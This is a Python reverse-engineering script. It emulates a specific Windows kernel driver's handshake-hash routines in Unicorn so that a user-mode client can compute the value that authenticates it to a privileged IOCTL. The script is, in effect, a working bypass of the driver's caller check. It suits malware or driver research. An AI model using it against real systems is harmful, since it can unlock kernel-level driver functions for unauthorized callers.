handshake_hash.py

#!/usr/bin/env python3
"""
handshake_hash.py
=================

Emulate the Htsysm49BE01 driver's RE_handshake_hash_v[0..3] in user-mode
via Unicorn so a client can compute the expected verify hash for IOCTL
0xAA023828 without any kernel-mode hooks, breakpoints, or driver patching.

Why this works (and why the driver author thought it wouldn't):
  * The hash inputs are (driver .text bytes) + (driver image base) + (obf_pid).
  * The driver hands over its image base via IOCTL 0xAA023824.
  * The .sys is on disk -- you have all the bytes.
  * Unicorn loads the .sys at OptionalHeader.ImageBase and runs the kernel's
    own algorithm against the same byte content the kernel sees, with a
    synthetic retaddr that points at a real call-site so the retaddr-relative
    reads resolve cleanly.

Usage:
    python handshake_hash.py <driver.sys> <obf_pid_hex> <my_pid> [--variant N]

Example:
    # IOCTL 0xAA023824 returned obf_pid=0xA1B2C3D4 and our PID is 4288:
    python handshake_hash.py 05a5ca.sys A1B2C3D4 4288
    -> variant=0  hash=0xeeaa9de6   (submit as DWORD input to IOCTL 0xAA023828)

Requires: pip install unicorn pefile
"""

import argparse
import struct
import sys

import pefile
from unicorn import Uc, UC_ARCH_X86, UC_MODE_64, UcError, UC_HOOK_CODE
from unicorn.x86_const import (
    UC_X86_REG_RCX, UC_X86_REG_RDX, UC_X86_REG_R8, UC_X86_REG_R9,
    UC_X86_REG_RSP, UC_X86_REG_EAX, UC_X86_REG_RIP,
)

# ---------------------------------------------------------------------------
# Static layout extracted from IDA analysis of sample
#   09a5ca7673f3734f8987b2b4d69255ffaa05cd2e77cf2d6f72a2d6a3c91139fb
# ---------------------------------------------------------------------------
HASH_V0_VA           = 0x1400035F0   # RE_handshake_hash_v0 entry
HASH_VARIANT_STRIDE  = 0x170         # spacing between v0/v1/v2/v3
DISPATCHER_RETADDR   = 0x140003584   # byte after `call cs:__guard_dispatch_icall_fptr`
                                     # in RE_irp_dispatch_device_control. Used as
                                     # the synthetic retaddr so the kernel's
                                     # `(retaddr & ~3) - 256` lands inside .text.

CALL_GUARD_FPTR_VA = 0x14000357E   # `call cs:__guard_dispatch_icall_fptr`
                                   # inside RE_irp_dispatch_device_control


def _find_iat_slot_by_name(pe):
    """Best-effort: locate a CFG-dispatch IAT entry by import name."""
    if not hasattr(pe, "DIRECTORY_ENTRY_IMPORT"):
        return None
    for entry in pe.DIRECTORY_ENTRY_IMPORT:
        for imp in entry.imports:
            if imp.name and b"guard" in imp.name.lower() and b"dispatch" in imp.name.lower():
                return imp.address
    return None


def _find_iat_slot_by_call(pe, image_base):
    """
    Resolve the IAT slot the dispatcher uses by parsing the `call cs:[rip+disp]`
    instruction at CALL_GUARD_FPTR_VA. Encoding: FF 15 <imm32>. The IAT slot
    is at (next_insn_va + sign-extended imm32).
    """
    image = pe.get_memory_mapped_image()
    call_offset = CALL_GUARD_FPTR_VA - image_base
    if call_offset + 6 > len(image):
        raise RuntimeError("dispatcher call site out of mapped range")
    if image[call_offset] != 0xFF or image[call_offset + 1] != 0x15:
        raise RuntimeError(
            f"expected FF 15 (call qword [rip+disp]) at 0x{CALL_GUARD_FPTR_VA:x}, "
            f"got {image[call_offset]:02x} {image[call_offset+1]:02x}")
    disp = struct.unpack("<i", image[call_offset + 2:call_offset + 6])[0]
    return CALL_GUARD_FPTR_VA + 6 + disp


def _find_iat_slot(pe, image_base):
    slot = _find_iat_slot_by_name(pe)
    if slot is not None:
        return slot
    return _find_iat_slot_by_call(pe, image_base)


def emulate_hash(sys_path, obf_pid, variant, trace=False):
    if not (0 <= variant <= 3):
        raise ValueError("variant must be 0..3")

    pe = pefile.PE(sys_path)
    image_base = pe.OPTIONAL_HEADER.ImageBase

    mu = Uc(UC_ARCH_X86, UC_MODE_64)

    # --- Image region: 1 MB starting at the preferred image base. ---------
    image_region_size = 0x100000
    mu.mem_map(image_base, image_region_size)
    mu.mem_write(image_base, pe.get_memory_mapped_image())

    # --- CFG dispatch stub (jmp rax). -------------------------------------
    # The driver's `call cs:__guard_dispatch_icall_fptr` becomes a normal
    # indirect call to whatever the IAT slot points to. We install a tiny
    # `jmp rax` gadget and point the IAT slot at it. Any guarded indirect
    # call now reduces to "jump to whatever address is in rax" -- which is
    # exactly what the no-CFG kernel does anyway.
    gadget_va = image_base + pe.OPTIONAL_HEADER.SizeOfImage + 0x100
    mu.mem_write(gadget_va, b"\xFF\xE0")             # jmp rax

    iat_slot = _find_iat_slot(pe, image_base)
    mu.mem_write(iat_slot, struct.pack("<Q", gadget_va))

    if trace:
        print(f"[*] image_base = 0x{image_base:016x}")
        print(f"[*] CFG IAT    = 0x{iat_slot:016x}")
        print(f"[*] gadget     = 0x{gadget_va:016x} (jmp rax)")

    # --- Hash input buffer: 4 bytes containing obf_pid. -------------------
    buf_va = image_base + pe.OPTIONAL_HEADER.SizeOfImage + 0x200
    mu.mem_write(buf_va, struct.pack("<I", obf_pid & 0xFFFFFFFF))

    # --- Stack region (separate from the image). --------------------------
    stack_base = 0x10000000
    stack_size = 0x100000
    mu.mem_map(stack_base, stack_size)

    # Place rsp such that:
    #   [rsp]        = synthetic retaddr  (the hash function will RET to it)
    #   [rsp+8..0x28] = 32 bytes of shadow space the callee may spill into
    rsp = stack_base + stack_size - 0x1000
    mu.mem_write(rsp, struct.pack("<Q", DISPATCHER_RETADDR))

    # --- Calling convention: __fastcall x64 ------------------------------
    #   hash_v[N](rcx=2, rdx=0, r8=&buf, r9=4)
    mu.reg_write(UC_X86_REG_RCX, 2)
    mu.reg_write(UC_X86_REG_RDX, 0)
    mu.reg_write(UC_X86_REG_R8,  buf_va)
    mu.reg_write(UC_X86_REG_R9,  4)
    mu.reg_write(UC_X86_REG_RSP, rsp)

    if trace:
        def hook_code(uc, address, size, _ud):
            print(f"  rip={address:016x}")
        mu.hook_add(UC_HOOK_CODE, hook_code)

    # --- Run the chosen variant until it returns to our synthetic retaddr.
    entry = HASH_V0_VA + variant * HASH_VARIANT_STRIDE

    try:
        mu.emu_start(entry, DISPATCHER_RETADDR, count=10_000_000)
    except UcError as exc:
        rip_now = mu.reg_read(UC_X86_REG_RIP)
        raise RuntimeError(
            f"emulation faulted at rip=0x{rip_now:016x}: {exc}") from exc

    return mu.reg_read(UC_X86_REG_EAX) & 0xFFFFFFFF


def main(argv=None):
    ap = argparse.ArgumentParser(
        description="Compute the Htsysm49BE01 handshake hash for IOCTL "
                    "0xAA023828 from user-mode by emulating the kernel's "
                    "RE_handshake_hash_v[0..3] over the .sys image.")
    ap.add_argument("sys_path", help="Path to the driver .sys file")
    ap.add_argument("obf_pid",
                    help="Obfuscated PID returned by IOCTL 0xAA023824 "
                         "(hex, no 0x prefix needed)")
    ap.add_argument("my_pid", type=int,
                    help="Your client's PID (as decimal). The variant "
                         "selector is (my_pid >> 2) & 3 unless --variant "
                         "is given.")
    ap.add_argument("--variant", type=int, choices=range(4), default=None,
                    help="Force a hash variant (0..3) instead of computing "
                         "(my_pid >> 2) & 3")
    ap.add_argument("--trace", action="store_true",
                    help="Print every emulated instruction (very verbose)")
    args = ap.parse_args(argv)

    obf_pid = int(args.obf_pid, 16)
    variant = args.variant if args.variant is not None else (args.my_pid >> 2) & 3

    h = emulate_hash(args.sys_path, obf_pid, variant, trace=args.trace)

    print(f"variant     = {variant}")
    print(f"obf_pid     = 0x{obf_pid:08x}")
    print(f"my_pid      = {args.my_pid}")
    print(f"hash        = 0x{h:08x}")
    print()
    print(f"Submit 0x{h:08x} (4 bytes, little-endian) as input to "
          f"DeviceIoControl(IOCTL=0xAA023828) to authenticate.")


if __name__ == "__main__":
    sys.exit(main())